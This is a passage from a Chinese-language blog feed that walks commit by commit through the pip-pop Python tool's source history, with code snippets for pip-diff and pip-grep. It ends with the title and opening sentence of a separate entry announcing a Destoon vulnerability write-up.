<p><img src="https://raw.githubusercontent.com/CHYbeta/chybeta.github.io/master/images/pic/20181011/1.jpg" alt=""></p>
<p>根据参数的不同<code>fresh</code>或者<code>stale</code>，输出对应的结果。</p>
<p>req1内容如下：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">req1</div><div class="line">test1</div></pre></td></tr></table></figure></p>
<p>req2内容如下：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">req2</div><div class="line">test2</div></pre></td></tr></table></figure></p>
<p>则运行结果如下：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line">C:\Python27\python.exe D:/Learn/opensource/pip-pop/bin/pip-diff --stale D:\temp\req1 D:\temp\req2</div><div class="line">req1</div><div class="line">test1</div><div class="line"></div><div class="line">C:\Python27\python.exe D:/Learn/opensource/pip-pop/bin/pip-diff --fresh D:\temp\req1 D:\temp\req2</div><div class="line">req2</div><div class="line">test2</div></pre></td></tr></table></figure></p>
<h1 id="cleanup"><a href="#cleanup" class="headerlink" title="cleanup"></a>cleanup</h1><p>commit记录： 2c2ffe318e5c539fc3bdef4feda97c56c162062a</p>
<p>项目结构及代码部分未做改变。</p>
<p>删除了原 <code>pip-diff</code> 中的一些注释</p>
<h1 id="tuples"><a href="#tuples" class="headerlink" title="tuples"></a>tuples</h1><p>commit记录： 58f9ae5f9668a7613f7c0f9f1c43a105b2604891</p>
<p><img src="https://raw.githubusercontent.com/CHYbeta/chybeta.github.io/master/images/pic/20181012/1.jpg" alt=""></p>
<p>将<code>VERSION_OPERATORS</code>从<code>list</code>改为<code>tuple</code> 。 其余无变化。</p>
<h1 id="remove-bunk-files"><a href="#remove-bunk-files" class="headerlink" title="remove bunk files"></a>remove bunk files</h1><p>commit记录： d1ff1029ca3d4bd765abe2d4e92b1c2700586702</p>
<p>项目结构变为：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line">│  LICENSE</div><div class="line">│  README.rst</div><div class="line">│  requirements.txt</div><div class="line">│  setup.py</div><div class="line">└─bin</div><div class="line">        pip-diff</div><div class="line">        pip-flatten</div></pre></td></tr></table></figure></p>
<p>删除了<code>pip-pop/__init__.py</code>空文件</p>
<h1 id="rely-on-pip"><a href="#rely-on-pip" class="headerlink" title="rely on pip"></a>rely on pip</h1><p>commit记录： d638b182d9302fa541efa48fbf99fa05f42a4565</p>
<p>项目结构未变</p>
<p><img src="https://raw.githubusercontent.com/CHYbeta/chybeta.github.io/master/images/pic/20181012/2.jpg" alt=""></p>
<p>利用pip.req来解析req文件</p>
<h1 id="getting-simpler-and-simpler"><a href="#getting-simpler-and-simpler" class="headerlink" title="getting simpler and simpler!"></a>getting simpler and simpler!</h1><p>commit记录：69d9e22c10734d463bde67c04cc469f0b0bce072</p>
<p>项目结构未变</p>
<p><img src="https://raw.githubusercontent.com/CHYbeta/chybeta.github.io/master/images/pic/20181012/3.jpg" alt=""></p>
<p>因为直接利用pip.req来解析req文件，删除无用变量</p>
<h1 id="only-check-lines-that-have-explicit-requirements"><a href="#only-check-lines-that-have-explicit-requirements" class="headerlink" title="only check lines that have explicit requirements"></a>only check lines that have explicit requirements</h1><p>commit记录： 0837d1133ee25c645d763f670f6683a20bf30240<br><img src="https://raw.githubusercontent.com/CHYbeta/chybeta.github.io/master/images/pic/20181012/4.jpg" alt=""></p>
<p>只有当<code>requirement.req</code>为真时，才添加到<code>self.requirements</code>中。</p>
<p>附上最新版的pip中的 <code>parse_requirements</code>的代码：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div></pre></td><td class="code"><pre><div class="line"><span class="comment"># C:/Python27/Lib/site-packages/pip/req/req_file.py:64</span></div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">parse_requirements</span><span class="params">(filename, finder=None, comes_from=None, options=None,</span></span></div><div class="line">                       session=None, constraint=False, wheel_cache=None):</div><div class="line">    <span class="string">"""Parse a requirements file and yield InstallRequirement instances.</span></div><div class="line"></div><div class="line">    :param filename:    Path or url of requirements file.</div><div class="line">    :param finder:      Instance of pip.index.PackageFinder.</div><div class="line">    :param comes_from:  Origin description of requirements.</div><div class="line">    :param options:     cli options.</div><div class="line">    :param session:     Instance of pip.download.PipSession.</div><div class="line">    :param constraint:  If true, parsing a constraint file rather than</div><div class="line">        requirements file.</div><div class="line">    :param wheel_cache: Instance of pip.wheel.WheelCache</div><div class="line">    """</div><div class="line">    <span class="keyword">if</span> session <span class="keyword">is</span> <span class="keyword">None</span>:</div><div class="line">        <span class="keyword">raise</span> TypeError(</div><div class="line">            <span class="string">"parse_requirements() missing 1 required keyword argument: "</span></div><div class="line">            <span class="string">"'session'"</span></div><div class="line">        )</div><div class="line"></div><div class="line">    _, content = get_file_content(</div><div class="line">        filename, comes_from=comes_from, session=session</div><div class="line">    )</div><div class="line"></div><div class="line">    lines_enum = preprocess(content, options)</div><div class="line"></div><div class="line">    <span class="keyword">for</span> line_number, line <span class="keyword">in</span> lines_enum:</div><div class="line">        req_iter = process_line(line, filename, line_number, finder,</div><div class="line">                                comes_from, options, session, wheel_cache,</div><div class="line">                                constraint=constraint)</div><div class="line">        <span class="keyword">for</span> req <span class="keyword">in</span> req_iter:</div><div class="line">            <span class="keyword">yield</span> req</div></pre></td></tr></table></figure></p>
<p>最后会返回一个迭代器</p>
<h1 id="initial-version-of-pip-grep"><a href="#initial-version-of-pip-grep" class="headerlink" title="initial version of pip-grep"></a>initial version of pip-grep</h1><p>commit记录： 3862c2f9a2f72bb962e7ed15416109ee0ec3e5ae</p>
<p>项目结构变为：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line">│  LICENSE</div><div class="line">│  README.rst</div><div class="line">│  requirements.txt</div><div class="line">│  setup.py</div><div class="line">└─bin</div><div class="line">        pip-diff</div><div class="line">        pip-grep</div></pre></td></tr></table></figure></p>
<p><code>setup.py</code>中：<br><img src="https://raw.githubusercontent.com/CHYbeta/chybeta.github.io/master/images/pic/20181012/5.jpg" alt=""></p>
<p><code>pip-flatten</code>变为<code>pip-grep</code>，代码如下：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div><div class="line">58</div><div class="line">59</div><div class="line">60</div><div class="line">61</div><div class="line">62</div><div class="line">63</div><div class="line">64</div><div class="line">65</div><div class="line">66</div><div class="line">67</div><div class="line">68</div></pre></td><td class="code"><pre><div class="line"><span class="comment">#!/usr/bin/env python</span></div><div class="line"><span class="comment"># -*- coding: utf-8 -*-</span></div><div class="line"></div><div class="line"><span class="string">"""Usage:</span></div><div class="line">  pip-grep &lt;reqfile&gt; &lt;package&gt;...</div><div class="line"></div><div class="line">Options:</div><div class="line">  -h --help     Show this screen.</div><div class="line">"""</div><div class="line"><span class="keyword">import</span> os</div><div class="line"><span class="keyword">from</span> docopt <span class="keyword">import</span> docopt</div><div class="line"><span class="keyword">from</span> pip.req <span class="keyword">import</span> parse_requirements</div><div class="line"></div><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">Requirements</span><span class="params">(object)</span>:</span></div><div class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self, reqfile=None)</span>:</span></div><div class="line">        super(Requirements, self).__init__()</div><div class="line">        self.path = reqfile</div><div class="line">        self.requirements = []</div><div class="line"></div><div class="line">        <span class="keyword">if</span> reqfile:</div><div class="line">            self.load(reqfile)</div><div class="line"></div><div class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__repr__</span><span class="params">(self)</span>:</span></div><div class="line">        <span class="keyword">return</span> <span class="string">'&lt;Requirements \'&#123;&#125;\'&gt;'</span>.format(self.path)</div><div class="line"></div><div class="line">    <span class="function"><span class="keyword">def</span> <span class="title">load</span><span class="params">(self, reqfile)</span>:</span></div><div class="line"></div><div class="line">        <span class="keyword">if</span> <span class="keyword">not</span> os.path.exists(reqfile):</div><div class="line">            <span class="keyword">raise</span> ValueError(<span class="string">'The given requirements file does not exist.'</span>)</div><div class="line"></div><div class="line">        <span class="keyword">for</span> requirement <span class="keyword">in</span> parse_requirements(reqfile):</div><div class="line">            self.requirements.append(requirement)</div><div class="line"></div><div class="line"></div><div class="line"></div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">grep</span><span class="params">(reqfile, packages)</span>:</span></div><div class="line"></div><div class="line">    <span class="keyword">try</span>:</div><div class="line">        <span class="comment"># 读取reqfile文件并解析</span></div><div class="line">        r = Requirements(reqfile)</div><div class="line">    <span class="keyword">except</span> ValueError:</div><div class="line">        <span class="keyword">print</span> <span class="string">'There was a problem loading the given requirement file.'</span></div><div class="line">        exit(os.EX_NOINPUT)</div><div class="line">    <span class="comment"># 对于reuqirement中的每一个</span></div><div class="line">    <span class="keyword">for</span> requirement <span class="keyword">in</span> r.requirements:</div><div class="line">        <span class="keyword">if</span> requirement.req.project_name <span class="keyword">in</span> packages:</div><div class="line">            <span class="comment"># 如果找到了在 packages中</span></div><div class="line">            <span class="keyword">print</span> <span class="string">'Package &#123;&#125; found!'</span>.format(requirement.req.project_name)</div><div class="line">            exit(<span class="number">0</span>)</div><div class="line"></div><div class="line">        <span class="keyword">print</span> <span class="string">'Not found.'</span>.format(requirement.req.project_name)</div><div class="line">        exit(<span class="number">1</span>)</div><div class="line"></div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span><span class="params">()</span>:</span></div><div class="line">    <span class="comment"># 获取参数</span></div><div class="line">    args = docopt(__doc__, version=<span class="string">'pip-grep'</span>)</div><div class="line"></div><div class="line">    kwargs = &#123;<span class="string">'reqfile'</span>: args[<span class="string">'&lt;reqfile&gt;'</span>], <span class="string">'packages'</span>: args[<span class="string">'&lt;package&gt;'</span>]&#125;</div><div class="line"></div><div class="line">    <span class="comment"># 传入 reqfile package</span></div><div class="line">    grep(**kwargs)</div><div class="line"></div><div class="line"></div><div class="line"></div><div class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</div><div class="line">    main()</div></pre></td></tr></table></figure></p>
<h1 id="updated-readme"><a href="#updated-readme" class="headerlink" title="updated readme"></a>updated readme</h1><p>commit记录：2116d8a7698bf8fece0ad5c32db9ec9f69c97e69</p>
<p>更新readme文档，添加pip-grep的使用说明</p>
<h1 id="fix-for-pip-grep"><a href="#fix-for-pip-grep" class="headerlink" title="fix for pip-grep"></a>fix for pip-grep</h1><p>commit记录：2116d8a7698bf8fece0ad5c32db9ec9f69c97e69</p>
<p><img src="https://raw.githubusercontent.com/CHYbeta/chybeta.github.io/master/images/pic/20181012/6.jpg" alt=""></p>
<h1 id="silent-mode-for-pip-grep"><a href="#silent-mode-for-pip-grep" class="headerlink" title="silent mode for pip-grep"></a>silent mode for pip-grep</h1><p>commit记录： 78e3c31b3584bfb263c061317ccc798cfaddf061</p>
<p><img src="https://raw.githubusercontent.com/CHYbeta/chybeta.github.io/master/images/pic/20181012/7.jpg" alt=""></p>
<p>增加silent参数选项。作用位置</p>
<h1 id="silence-“not-found”"><a href="#silence-“not-found”" class="headerlink" title="silence “not found”"></a>silence “not found”</h1><p>commit记录： 94c553879358aff40da2c3d2f536acb184703166</p>
<p><img src="https://raw.githubusercontent.com/CHYbeta/chybeta.github.io/master/images/pic/20181012/8.jpg" alt=""></p>
<p>添加<code>silent</code>模式对<code>not found</code>情况的支持</p>
<h1 id="python-3-compatibility"><a href="#python-3-compatibility" class="headerlink" title="python 3 compatibility"></a>python 3 compatibility</h1><p>commit纪录：70af45d95fd38e0a93abdbdb400283dcc495a00f</p>
<p>修改了<code>pip-grep</code>和<code>pip-diff</code>，将其中的<code>print &#39;xx&#39;</code> 改为<code>print(&#39;xx&#39;)</code></p>
<h1 id="Add-a-dummy-finder-so-parse-requirement-does-not-fail-on-—arguments"><a href="#Add-a-dummy-finder-so-parse-requirement-does-not-fail-on-—arguments" class="headerlink" title="Add a dummy finder so parse_requirement does not fail on —arguments"></a>Add a dummy finder so parse_requirement does not fail on —arguments</h1><p>commit记录：2aa545fb3b80d78670d923be4333e85f0abb7309</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">from</span> pip.index <span class="keyword">import</span> PackageFinder</div><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">Requirements</span><span class="params">(object)</span>:</span></div><div class="line"></div><div class="line">    。。。</div><div class="line"></div><div class="line">    finder = PackageFinder([], [])</div><div class="line">    <span class="keyword">for</span> requirement <span class="keyword">in</span> parse_requirements(reqfile, finder=finder):</div><div class="line">        self.requirements.append(requirement)</div><div class="line"></div><div class="line">    。。。</div></pre></td></tr></table></figure>
<p>新增加一个<code>finder=finder</code>参数，避免<code>parse_requirements</code>失败。</p>
<h1 id="v0-1-0"><a href="#v0-1-0" class="headerlink" title="v0.1.0"></a>v0.1.0</h1><p>commit记录：2dc013300c4b0fb605fa9dd2a3fba5ecc81ac20c</p>
<p>修改<code>setup.py</code>，修改版本号为<code>version=&#39;0.1.0&#39;</code></p>
<h1 id="Add-option-to-print-the-requirement-if-found"><a href="#Add-option-to-print-the-requirement-if-found" class="headerlink" title="Add option to print the requirement, if found"></a>Add option to print the requirement, if found</h1><p>commit记录： a3f9a4ba40c02d6bc26318e589ae2db11304203f</p>
<p>修改<code>pip-grep</code>文件。</p>
<p>首先是Usage部分：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line">&quot;&quot;&quot;Usage:</div><div class="line">  pip-grep [-sp] &lt;reqfile&gt; &lt;package&gt;...</div><div class="line"></div><div class="line">Options:</div><div class="line">  -h --help         Show this screen.</div><div class="line">  -s --silent       Suppress output.</div><div class="line">  -p --print-req    If found, print the requirement.</div><div class="line">&quot;&quot;&quot;</div></pre></td></tr></table></figure></p>
<p><code>-p</code>，在grep找到的情况下，打印出requirement</p>
<p><img src="https://raw.githubusercontent.com/CHYbeta/chybeta.github.io/master/images/pic/20181012/9.jpg" alt=""></p>
<h1 id="support-for-lastest-pip"><a href="#support-for-lastest-pip" class="headerlink" title="support for lastest pip"></a>support for lastest pip</h1><p>commit记录： 27f35700c7d8affb1fc3b399bd77fe38fb82bba1</p>
<p>修改<code>pip-diff</code>。</p>
<p>由于<code>parse_requirements</code>中：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">parse_requirements</span><span class="params">(filename, finder=None, comes_from=None, options=None,</span></span></div><div class="line">                       session=None, constraint=False, wheel_cache=None):</div><div class="line"></div><div class="line">    <span class="keyword">if</span> session <span class="keyword">is</span> <span class="keyword">None</span>:</div><div class="line">        <span class="keyword">raise</span> TypeError(</div><div class="line">            <span class="string">"parse_requirements() missing 1 required keyword argument: "</span></div><div class="line">            <span class="string">"'session'"</span></div><div class="line">        )</div></pre></td></tr></table></figure></p>
<p>所以添加<code>session</code>参数：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">from</span> pip._vendor.requests <span class="keyword">import</span> session</div><div class="line"></div><div class="line">requests = session()</div><div class="line"></div><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">Requirements</span><span class="params">(object)</span>:</span></div><div class="line">    。。。</div><div class="line">    <span class="function"><span class="keyword">def</span> <span class="title">load</span><span class="params">(self, reqfile)</span>:</span></div><div class="line"></div><div class="line">        <span class="keyword">if</span> <span class="keyword">not</span> os.path.exists(reqfile):</div><div class="line">            <span class="keyword">raise</span> ValueError(<span class="string">'The given requirements file does not exist.'</span>)</div><div class="line"></div><div class="line">        finder = PackageFinder([], [], session=requests)</div><div class="line">        <span class="keyword">for</span> requirement <span class="keyword">in</span> parse_requirements(reqfile, finder=finder):</div><div class="line">            <span class="keyword">if</span> requirement.req:</div><div class="line">                self.requirements.append(requirement.req)</div></pre></td></tr></table></figure></p>
<h1 id="Update-pip-grep"><a href="#Update-pip-grep" class="headerlink" title="Update pip-grep"></a>Update pip-grep</h1><p>commit记录：90eba89335af5aa1285d179aa9ea6aa9725bd712</p>
<p>修改内容同上，增加<code>session</code>参数。</p>
<h1 id="Merge-pull-request-3-from-thenovices-print-line-Add-option-to-print-the-requirement-if-found"><a href="#Merge-pull-request-3-from-thenovices-print-line-Add-option-to-print-the-requirement-if-found" class="headerlink" title="Merge pull request #3 from thenovices/print-line Add option to print the requirement, if found."></a>Merge pull request #3 from thenovices/print-line Add option to print the requirement, if found.</h1><p>commit记录：d572c00cc65a47f8d6e3d9446f8c21fb7aac685f</p>
<p>无</p>
<h1 id="update-from-python-buildpack"><a href="#update-from-python-buildpack" class="headerlink" title="update from python buildpack"></a>update from python buildpack</h1><p>commit记录：097c4a94848897e693bf269150a49129d4019390</p>
<p>修改<code>pip-diff</code>和<code>pip-grep</code>的一些细节，增删参数。</p>
<h1 id="exclude-in-pip-diff"><a href="#exclude-in-pip-diff" class="headerlink" title="exclude in pip-diff"></a>exclude in pip-diff</h1><p>commit记录：047dd63d5dd0a754d3e515bef7aa33d1246a548b</p>
<p>修改<code>pip-diff</code>文件，增加<code>excludes</code>参数选项，用于指定排除，不进行比较的packages包</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div><div class="line">58</div><div class="line">59</div><div class="line">60</div><div class="line">61</div><div class="line">62</div></pre></td><td class="code"><pre><div class="line"><span class="comment">#!/usr/bin/env python</span></div><div class="line"><span class="comment"># -*- coding: utf-8 -*-</span></div><div class="line"></div><div class="line"><span class="string">"""Usage:</span></div><div class="line">  pip-diff (--fresh | --stale) &lt;reqfile1&gt; &lt;reqfile2&gt; [--exclude &lt;package&gt;...]</div><div class="line">  pip-diff (-h | --help)</div><div class="line"></div><div class="line">Options:</div><div class="line">  -h --help     Show this screen.</div><div class="line">  --fresh       List newly added packages.</div><div class="line">  --stale       List removed packages.</div><div class="line">"""</div><div class="line"><span class="keyword">import</span> os</div><div class="line"><span class="keyword">from</span> docopt <span class="keyword">import</span> docopt</div><div class="line"><span class="keyword">from</span> pip.req <span class="keyword">import</span> parse_requirements</div><div class="line"><span class="keyword">from</span> pip.index <span class="keyword">import</span> PackageFinder</div><div class="line"><span class="keyword">from</span> pip._vendor.requests <span class="keyword">import</span> session</div><div class="line"></div><div class="line">requests = session()</div><div class="line"></div><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">Requirements</span><span class="params">(object)</span>:</span></div><div class="line">  </div><div class="line">    <span class="function"><span class="keyword">def</span> <span class="title">diff</span><span class="params">(self, requirements, ignore_versions=False, excludes=None)</span>:</span></div><div class="line">   </div><div class="line">        。。。</div><div class="line">        <span class="keyword">for</span> req <span class="keyword">in</span> r2.requirements:</div><div class="line">            r = req.project_name <span class="keyword">if</span> ignore_versions <span class="keyword">else</span> req</div><div class="line"></div><div class="line">            <span class="keyword">if</span> r <span class="keyword">not</span> <span class="keyword">in</span> other_reqs <span class="keyword">and</span> r <span class="keyword">not</span> <span class="keyword">in</span> excludes:</div><div class="line">                results[<span class="string">'fresh'</span>].append(req)</div><div class="line"></div><div class="line">        。。。</div><div class="line"></div><div class="line">        <span class="keyword">for</span> req <span class="keyword">in</span> r1.requirements:</div><div class="line">            r = req.project_name <span class="keyword">if</span> ignore_versions <span class="keyword">else</span> req</div><div class="line"></div><div class="line">            <span class="keyword">if</span> r <span class="keyword">not</span> <span class="keyword">in</span> other_reqs <span class="keyword">and</span> r <span class="keyword">not</span> <span class="keyword">in</span> excludes:</div><div class="line">                results[<span class="string">'stale'</span>].append(req)</div><div class="line"></div><div class="line">        <span class="keyword">return</span> results</div><div class="line"></div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">diff</span><span class="params">(r1, r2, include_fresh=False, include_stale=False, excludes=None)</span>:</span></div><div class="line"></div><div class="line">    。。。</div><div class="line">    excludes = excludes <span class="keyword">if</span> len(excludes) <span class="keyword">else</span> []</div><div class="line"></div><div class="line">    。。。</div><div class="line"></div><div class="line">    results = r1.diff(r2, ignore_versions=<span class="keyword">True</span>, excludes=excludes)</div><div class="line">    。。。</div><div class="line"></div><div class="line"></div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span><span class="params">()</span>:</span></div><div class="line">    kwargs = &#123;</div><div class="line">        。。。</div><div class="line">        <span class="string">'excludes'</span>: args[<span class="string">'&lt;package&gt;'</span>]</div><div class="line">    &#125;</div><div class="line"></div><div class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</div><div class="line">    main()</div></pre></td></tr></table></figure>
<h1 id="README-rst-Fix-spelling-error"><a href="#README-rst-Fix-spelling-error" class="headerlink" title="README.rst Fix spelling error"></a>README.rst Fix spelling error</h1><p>commit记录：81587647408ff5adc13cc30a50ff84e36116505d</p>
<p>无他，修改README中的拼写错误</p>
<h1 id="update"><a href="#update" class="headerlink" title="update"></a>update</h1><p>commit记录：4f5ebcd253ec299baf0f4cb10c99d06bc52cc91f</p>
<p>修改两个文件<code>pip-diff</code>和<code>pip-grep</code></p>
<p><code>pip-diff</code>中将<code>project_name</code>改为<code>name</code>。原因是pip版本升级，经过<code>parse_requirements</code>后会是<code>name</code>属性。但在8.1.2版本之前并不存在，因此需要在load时进行检测，增加代码如下：</p>
<p><img src="https://raw.githubusercontent.com/CHYbeta/chybeta.github.io/master/images/pic/20181012/10.jpg" alt=""></p>
<h1 id="v0-0-1"><a href="#v0-0-1" class="headerlink" title="v0.0.1"></a>v0.0.1</h1><p>commit记录：4dc238c79ca19974eeb434ec4be4285d7747bb38</p>
<p>修改setup.py中的版本号</p>
<h1 id="update-setup-py"><a href="#update-setup-py" class="headerlink" title="update setup.py"></a>update setup.py</h1><p>commit记录：07562561ce6aa9c733a18135cf510fadd794433a</p>
<p>修改setup.py中的一些参数<code>Programming Language</code>、<code>Development Status</code> 等</p>
<h1 id="Require-pip-gt-1-5-0"><a href="#Require-pip-gt-1-5-0" class="headerlink" title="Require pip&gt;=1.5.0"></a>Require pip&gt;=1.5.0</h1><p>commit记录：99d9f36ad765535946af1fa9fc181d33668ee146</p>
<p>修改setup.py中的<code>install_requires</code>，要求pip版本大于1.5.0</p>
<h1 id="Remove-unused-wsgiref-from-requirements-txt"><a href="#Remove-unused-wsgiref-from-requirements-txt" class="headerlink" title="Remove unused wsgiref from requirements.txt"></a>Remove unused wsgiref from requirements.txt</h1><p>commit记录：47ad229596ade5024d9c4c4190e73972176bc58b</p>
<p>删除<code>requirements.txt</code>中的无用条目</p>
<h1 id="Add-a-tox-config-and-some-very-primitive-pip-grep-and-pip-diff-tests"><a href="#Add-a-tox-config-and-some-very-primitive-pip-grep-and-pip-diff-tests" class="headerlink" title="Add a tox config and some very primitive pip-grep and pip-diff tests"></a>Add a tox config and some very primitive pip-grep and pip-diff tests</h1><p>commit记录：433e02ec7e294e171557514c55412cc3e06c1e53</p>
<p>项目结构：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div></pre></td><td class="code"><pre><div class="line">│  .gitignore</div><div class="line">│  LICENSE</div><div class="line">│  README.rst</div><div class="line">│  requirements.txt</div><div class="line">│  setup.py</div><div class="line">│  tox.ini</div><div class="line">│</div><div class="line">├─bin</div><div class="line">│      pip-diff</div><div class="line">│      pip-grep</div><div class="line">│</div><div class="line">└─tests</div><div class="line">        test-requirements.txt</div><div class="line">        test-requirements2.txt</div></pre></td></tr></table></figure></p>
<p>修改<code>READEME.rst</code>、<code>setup.py</code>、<code>requirments.txt</code>，主要是增加了<code>tox</code>的依赖，相关环境的安装。</p>
<p>新增文件<code>tests</code>文件夹及其文件、<code>.gitignore</code>、<code>tox.ini</code>。</p>
<h1 id="Add-Travis-config"><a href="#Add-Travis-config" class="headerlink" title="Add Travis config"></a>Add Travis config</h1><p>commit记录：a40d8850701f08c99d66cab2eedf283a0b326731</p>
<p>新增<code>.travis.yml</code> 。修改<code>README.rst</code>文件</p>
<h1 id="Update-PyPI-classifiers-to-reflect-tested-Python-version"><a href="#Update-PyPI-classifiers-to-reflect-tested-Python-version" class="headerlink" title="Update PyPI classifiers to reflect tested Python version"></a>Update PyPI classifiers to reflect tested Python version</h1><p>commit记录：e865cb31f4b43edd5f07aa8d40680d0b1eb08f28</p>
<p><img src="https://raw.githubusercontent.com/CHYbeta/chybeta.github.io/master/images/pic/20181012/11.jpg" alt=""></p>
<p>阅读完毕。</p>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;pip-pop源码阅读&lt;/p&gt;
    
    </summary>
    
      <category term="编程之美" scheme="http://chybeta.github.io/categories/%E7%BC%96%E7%A8%8B%E4%B9%8B%E7%BE%8E/"/>
    
    
      <category term="python" scheme="http://chybeta.github.io/tags/python/"/>
    
      <category term="源码阅读" scheme="http://chybeta.github.io/tags/%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB/"/>
    
      <category term="pip-pop" scheme="http://chybeta.github.io/tags/pip-pop/"/>
    
  </entry>
  
  <entry>
    <title>Destoon 20180827版本 前台getshell</title>
    <link href="http://chybeta.github.io/2018/09/24/Destoon-20180827%E7%89%88%E6%9C%AC-%E5%89%8D%E5%8F%B0getshell/"/>
    <id>http://chybeta.github.io/2018/09/24/Destoon-20180827版本-前台getshell/</id>
    <published>2018-09-24T05:29:01.000Z</published>
    <updated>2018-09-24T05:44:14.288Z</updated>
    
    <content type="html"><![CDATA[<p><a href="https://xz.aliyun.com/t/2797" target="_blank" rel="external">Destoon 20180827版本 前台getshell</a><br><a id="more"></a></p>
<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>2018年9月21日，Destoon官方发布安全更新，修复了由用户“索马里的海贼”反馈的一个漏洞。</p>
